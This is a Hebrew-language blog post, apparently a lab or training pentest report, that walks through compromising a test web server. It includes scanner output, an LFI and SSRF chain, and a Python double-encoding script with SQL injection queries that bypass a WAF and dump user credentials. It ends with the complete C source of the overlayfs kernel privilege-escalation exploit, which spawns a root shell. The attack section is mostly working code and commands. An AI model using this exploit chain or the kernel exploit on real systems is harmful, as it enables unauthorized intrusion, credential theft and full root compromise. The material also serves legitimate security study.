יום שבת, 3 במרץ 2018

Pentest Report - final2
By: Daniel Blanca


נתחיל עם מס' סריקות בסיסיות לגילוי מידע בסיסי כגון פורטים פתוחים, שירותים פעילים, פרטי מע' הפעלה וכו'. 
דברים חשובים מסומנים בצהוב.
Nmap

root@kali:~# nmap -A 172.16.1.6

Starting Nmap 7.50 ( https://nmap.org ) at 2018-03-02 09:57 IST
Nmap scan report for Host (172.16.1.6)
Host is up (0.00053s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE    VERSION
22/tcp   open     ssh        OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 62:ac:77:11:79:9a:21:64:c2:88:c0:87:7d:19:34:05 (DSA)
|   2048 cb:24:63:a9:7c:bc:7b:e9:a8:2a:d1:9f:4d:6a:a0:07 (RSA)
|_  256 13:e5:dd:7b:a5:f2:bf:41:71:dd:88:40:7f:5f:5d:7b (ECDSA)
80/tcp   open     http       Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Imperva - Protect Your Data and Applications
8080/tcp filtered http-proxy
MAC Address: 00:0C:29:CE:E6:9F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.53 ms Host (172.16.1.6)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.25 seconds
root@kali:~#



Nikto

root@kali:~# nikto -h 172.16.1.6
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.1.6
+ Target Hostname:    172.16.1.6
+ Target Port:        80
+ Start Time:         2018-03-02 10:00:00 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.23
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to 
the MIME type
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See 
http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /vgn/vr/Select: Vignette CMS admin/maintenance script available.
+ /blah_badfile.shtml: Allaire ColdFusion allows JSP source viewed through a vulnerable SSI call.
+ /vgn/ac/delete: Vignette CMS admin/maintenance script available.
+ /contents.php?new_language=elvish&mode=select: Requesting a file with an invalid language selection from DC Portal may reveal the 
system path.
+ /servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter: Allaire ColdFusion allows JSP source viewed through a vulnerable SSI call.
+ OSVDB-2767: /openautoclassifieds/friendmail.php?listing=<script>alert(document.domain);</script>: OpenAutoClassifieds 1.0 is 
vulnerable to a XSS attack
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /config/: Configuration information may be available remotely.
+ OSVDB-6192: /cgi-bin/update.dpgs: Duma Photo Gallery System may allow remote users to write to any file on the system. See 
http://b0iler.eyeonsecurity.net for details. This could not be remotely tested.
+ OSVDB-5034: /admin/login.php?action=insert&username=test&password=test: phpAuction may allow user admin accounts to be 
inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify.
+ /level/42/exec/show%20conf: Retrieved Cisco configuration file.
+ /servlet/allaire.jrun.ssi.SSIFilter: Allaire ColdFusion allows JSP source viewed through a vulnerable SSI call, see MPSB01-12 
http://www.macromedia.com/devnet/security/security_zone/mpsb01-12.html.
+ OSVDB-48: /doc/: The /doc/ directory is browsable. This may be /usr/doc.
+ OSVDB-578: /level/16/exec/-///pwd: CISCO HTTP service allows remote execution of commands
+ OSVDB-578: /level/16/exec/-///show/configuration: CISCO HTTP service allows remote execution of commands
+ OSVDB-578: /level/16/exec/: CISCO HTTP service allows remote execution of commands
+ OSVDB-578: /level/16/exec//show/access-lists: CISCO HTTP service allows remote execution of commands
+ OSVDB-578: /level/16/level/16/exec//show/configuration: CISCO HTTP service allows remote execution of commands
+ OSVDB-578: /level/16/level/16/exec//show/interfaces: CISCO HTTP service allows remote execution of commands
+ OSVDB-578: /level/16/level/16/exec//show/interfaces/status: CISCO HTTP service allows remote execution of commands
+ OSVDB-578: /level/16/level/16/exec//show/version: CISCO HTTP service allows remote execution of commands
+ OSVDB-578: /level/16/level/16/exec//show/running-config/interface/FastEthernet: CISCO HTTP service allows remote execution of 
commands
+ OSVDB-578: /level/16/exec//show: CISCO HTTP service allows remote execution of commands
+ OSVDB-578: /level/17/exec//show: CISCO HTTP service allows remote execution of commands
+ OSVDB-578: /level/18/exec//show: CISCO HTTP service allows remote execution of commands

Snip

….
+ OSVDB-578: /level/97/exec//show: CISCO HTTP service allows remote execution of commands
+ OSVDB-578: /level/98/exec//show: CISCO HTTP service allows remote execution of commands
+ OSVDB-578: /level/99/exec//show: CISCO HTTP service allows remote execution of commands
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain 
HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain 
HTTP requests that contain specific QUERY strings.
+ OSVDB-561: /server-status: This reveals Apache information. Comment out appropriate line in the Apache conf file or restrict access 
to allowed sources.
+ OSVDB-3092: /config/checks.txt: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /old/: This might be interesting...
+ OSVDB-3093: /admin/exec.php3: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /config/html/cnf_gi.htm: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /kernel/class/delete.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /modif/delete.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /protectedpage.php?uid=&#039;%20OR%20&#039;&#039;=&#039;&amp;pwd=&#039;%20OR%20&#039;&#039;=&#039;: 
This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /pls/portal/owa_util.cellsprint?p_theQuery=select: Direct access to Oracle packages could have an unkown impact.
+ OSVDB-3093: /pls/portal/owa_util.listprint?p_theQuery=select: Access to Oracle pages could have an unknown impact.
+ OSVDB-3093: /pls/portal/owa_util.cellsprint?p_theQuery=select+*+from+sys.dba_users: Access to Oracle pages could have an 
unknown impact.                  
+ OSVDB-3093: /pls/portal/SELECT: Access to Oracle pages could have an unknown impact.                  
+ Server leaks inodes via ETags, header found with file /icons/README, inode: 286334, size: 5108, mtime: Tue Aug 28 13:48:10 2007
+ /config/config.txt: Configuration file found.
+ /config/readme.txt: Readme file found.
+ /_layouts/create.aspx: FrontPage/Sharepointfile available.
+ /server-status: Apache server-status interface found (pass protected)
+ 8364 requests: 7 error(s) and 135 item(s) reported on remote host
+ End Time:           2018-03-02 10:02:44 (GMT2) (164 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~#



Dirb

root@kali:~# dirb http://172.16.1.6 /usr/share/dirb/wordlists/big.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Mar  2 11:13:03 2018
URL_BASE: http://172.16.1.6/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt

-----------------

GENERATED WORDS: 20458                                                       

---- Scanning URL: http://172.16.1.6/ ----
+ http://172.16.1.6/cgi-bin/ (CODE:403|SIZE:288)                                                                        
+ http://172.16.1.6/config (CODE:200|SIZE:0)                                                                            
+ http://172.16.1.6/create (CODE:200|SIZE:40)                                                                           
+ http://172.16.1.6/create-account (CODE:200|SIZE:40)                                                                   
+ http://172.16.1.6/delete (CODE:200|SIZE:40)                                                                           
+ http://172.16.1.6/drop (CODE:200|SIZE:40)                                                                             
+ http://172.16.1.6/exec (CODE:200|SIZE:40)                                                                             
+ http://172.16.1.6/execute (CODE:200|SIZE:40)                                                                          
+ http://172.16.1.6/image (CODE:200|SIZE:0)                                                                             
==> DIRECTORY: http://172.16.1.6/img/                                                                                   
+ http://172.16.1.6/index (CODE:200|SIZE:2194)                                                                          
+ http://172.16.1.6/insert (CODE:200|SIZE:40)                                                                           
+ http://172.16.1.6/old (CODE:200|SIZE:1270)                                                                            
+ http://172.16.1.6/select (CODE:200|SIZE:40)                                                                           
+ http://172.16.1.6/server-status (CODE:200|SIZE:3918)                                                                  
+ http://172.16.1.6/twister-update (CODE:200|SIZE:40)                                                                   
+ http://172.16.1.6/union (CODE:200|SIZE:40)                                                                            
+ http://172.16.1.6/update (CODE:200|SIZE:40)                                                                           
                                                                                                                          
---- Entering directory: http://172.16.1.6/img/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                      
    (Use mode '-w' if you want to scan it anyway)
                                                                            
-----------------
END_TIME: Fri Mar  2 11:14:18 2018
DOWNLOADED: 20458 - FOUND: 17
root@kali:~#

פורט 80 פתוח וניתן לגלוש אל האפליקציה שבשרת.



מהסתכלות על ה-source code של הדף הראשי גילינו משהו מעניין:
יש פה תג של תמונה שמקבל כתובת כפרמט. מריח כמו LFI... אם ננסה לשחק עם זה באמצעות הדפדפן לא נגיע 
רחוק כיוון שהדפדפן מנסה לרנדר תמונה אז הוא לא ייתן לנו את התוצאה הרצויה.


נסתכל על זה בעזרת ה-BURP ונראה אם שם אנחנו יכולים לקבל תוצאות יפות.


יש פה LFI!
הצעד הבא שלנו יהיה לנסות לקרוא קבצים מעניינים שקשורים לאפליקציה ולשרת כמו למשל קבצי הקונפיגורציה 
של ה-apache ושל ה-PHP.


קובץ הקונפיגורציה של ה-apache מלמד אותנו שה-ROOT של האפליקציה נמצא ב-/var/www ושניתן לגשת לאפליקציה דרך פורט 8080 כאשר פונים 
ל-LOCALHOST, כלומר מתוך השרת עצמו.
דף מעניין שנרצה לבדוק זה הדף שמקבל את קוד השובר שהזנו לו ובודק אם אנחנו זכאים להנחה או לא. הדף נקרא 
checkpromo.php והוא מקבל פרמטר בשם promocode.


מהקוד ניתן להבין שהדף הזה מבצע פנייה אל בסיס הנתונים, מתשאל אותו ומחזיר לנו את התשובה. בתחילת הדף 
יש פנייה לדף אחר בשם config.php שככל הנראה מכיל מידע חשוב על צורת ההתחברות לבסיס הנתונים. ננסה 
לקרוא את הדף הזה בעזרת ה-BURP.


קיבלנו את פרטי ההתחברות לבסיס הנתונים של האפליקציה (MYSQL)!!!

ננסה כעת לדלות מידע מתוך בסיס הנתונים אך מדובר במשימה שאינה פשוטה:


האפליקציה מוגנת מאחורי WAF שיודע לזהות ולמנוע נסיונות של SQL INJECTION. גם ניסיון לקודד את שאילתות 
ה-SQL לא צלח כיוון שה-WAF יודע לבצע DECODE ולזהות שמדובר בשאילתות SQL.
צריך למצוא דרך לעקוף את ה-WAF. הפתרון לבעיה מורכב ממס' חלקים:
  1. הפנייה צריכה להתבצע לכאורה מתוך השרת, כלומר בפנייה אל 127.0.0.1:8080 (ראינו את זה בקובץ 
    קונפיגורציה של ה-APACHE).
  2. נצטרך לבצע קידוד כפול של השאילתות שברצוננו להריץ ולשם כך נשתמש בתוכנת PYTHON קטנה ופשוטה 
    שיודעת לעשות את זה. הקוד נראה כך:

#!/usr/bin/python
import urllib,urllib2
url = ""    # put your url that you want to encode
def encode(sqli):
enc = urllib.quote_plus(sqli)
doubleenc = urllib.quote_plus(enc)
print "Request : " + url + doubleenc + "\n"
request(doubleenc)
def request(doubleenc):
request = urllib2.urlopen(url+doubleenc)
response = request.read()
print response
request.close()
encode(“command of SQL injection”)    # put command of SQL that you want inject

בעזרת הקוד הזה ננסה לבצע שאילתות SQL על ה-URL הזה:
http://172.16.1.6/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=%2527%2520

השאילתה הראשונה שנרצה לבצע היא איזה טבלאות יש לנו ב-DB הזה? נשנה את השדה שנקרא encode ונריץ את 
הקוד:

encode("union select group_concat(table_name),2 from information_schema.tables where 
table_schema=database()#")

תוצאה:

הסבר: יש לנו 2 טבלאות: promocodes ו-users (!!!)

השאילתה הבאה שלנו תהיה אילו עמודות יש בטבלה שנקראת users?

encode("union select group_concat(column_name),2 from information_schema.columns where 
table_schema=database() and table_name=\'users\'#")

בטבלה יש 3 עמודות: id, username, password

ועכשיו הגיע הזמן לשאילתת השאילתות: מי הם היוזרים ומה הסיסמאות שלהם???
נוסח השאילתה:
encode("union select group_concat(username,',',password),2 from users#")

יש לנו יוזר בשם andrea שסיסמתו היא SayNoToPentesters


כזכור, בסריקות שביצענו ראינו שפורט 22 פתוח וניתן להתחבר ב-SSH. ננסה להתחבר עם פרטי המשתמש של 
andrea.

קיבלנו SHELL מאוד מוגבל, ננסה להשתדרג ל-SHELL טוב יותר שיראה לנו פלט.


קיבלנו SHELL שקצת יותר משתף פעולה.

הגיע הזמן לשפר עמדות ולבצע privilege escalation.

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege 

Escalation


בחיפוש שעשינו באינטרנט מצאנו באתר EXPLOIT DATABASE פגיעות במכונות לינוקס בעלות קרנל 
3.13.0 < 3.19. הסבר מפורט על הפגיעות ניתן למצוא בקישורים הנ"ל.

מדובר בקובץ שנכתב בשפת C שברגע שנריץ אותו נקבל הרשאות של ROOT על השרת. הקוד נראה כך:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar 
path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, 
\"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && 
!strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");
\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}
\n    return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
   char *file;
   system("rm -rf /tmp/ns_sploit");
   mkdir("/tmp/ns_sploit", 0777);
   mkdir("/tmp/ns_sploit/work", 0777);
   mkdir("/tmp/ns_sploit/upper",0777);
   mkdir("/tmp/ns_sploit/o",0777);
   fprintf(stderr,"mount #1\n");
   if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
       if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
           fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
           exit(-1);
       }
       file = ".access";
       chmod("/tmp/ns_sploit/work/work",0777);
   } else file = "ns_last_pid";
   chdir("/tmp/ns_sploit/o");
   rename(file,"ld.so.preload");
   chdir("/");
   umount("/tmp/ns_sploit/o");
   fprintf(stderr,"mount #2\n");
   if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
       if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
           exit(-1);
       }
       chmod("/tmp/ns_sploit/work/work",0777);
   }
   chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
   umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
   int status, fd, lib;
   pid_t wrapper, init;
   int clone_flags = CLONE_NEWNS | SIGCHLD;
   fprintf(stderr,"spawning threads\n");
   if((wrapper = fork()) == 0) {
       if(unshare(CLONE_NEWUSER) != 0)
           fprintf(stderr, "failed to create new user namespace\n");
       if((init = fork()) == 0) {
           pid_t pid =
               clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
           if(pid < 0) {
               fprintf(stderr, "failed to create new mount namespace\n");
               exit(-1);
           }
           waitpid(pid, &status, 0);
       }
       waitpid(init, &status, 0);
       return 0;
   }
   usleep(300000);
   wait(NULL);
   fprintf(stderr,"child threads done\n");
   fd = open("/etc/ld.so.preload",O_WRONLY);
   if(fd == -1) {
       fprintf(stderr,"exploit failed\n");
       exit(-1);
   }
   fprintf(stderr,"/etc/ld.so.preload created\n");
   fprintf(stderr,"creating shared library\n");
   lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
   write(lib,LIB,strlen(LIB));
   close(lib);
   lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
   if(lib != 0) {
       fprintf(stderr,"couldn't create dynamic library\n");
       exit(-1);
   }
   write(fd,"/tmp/ofs-lib.so\n",16);
   close(fd);
   system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
   execl("/bin/su","su",NULL);
}

נתחיל בהעברת הקובץ מהמכונה שלנו למכונה של הקורבן.


נבצע קומפילציה לקובץ וניתן הרשאות הרצה.

רגע האמת הגיע… נריץ את הקובץ ו…

קיבלנו הרשאות ROOT

אין תגובות:

הוסף רשומת תגובה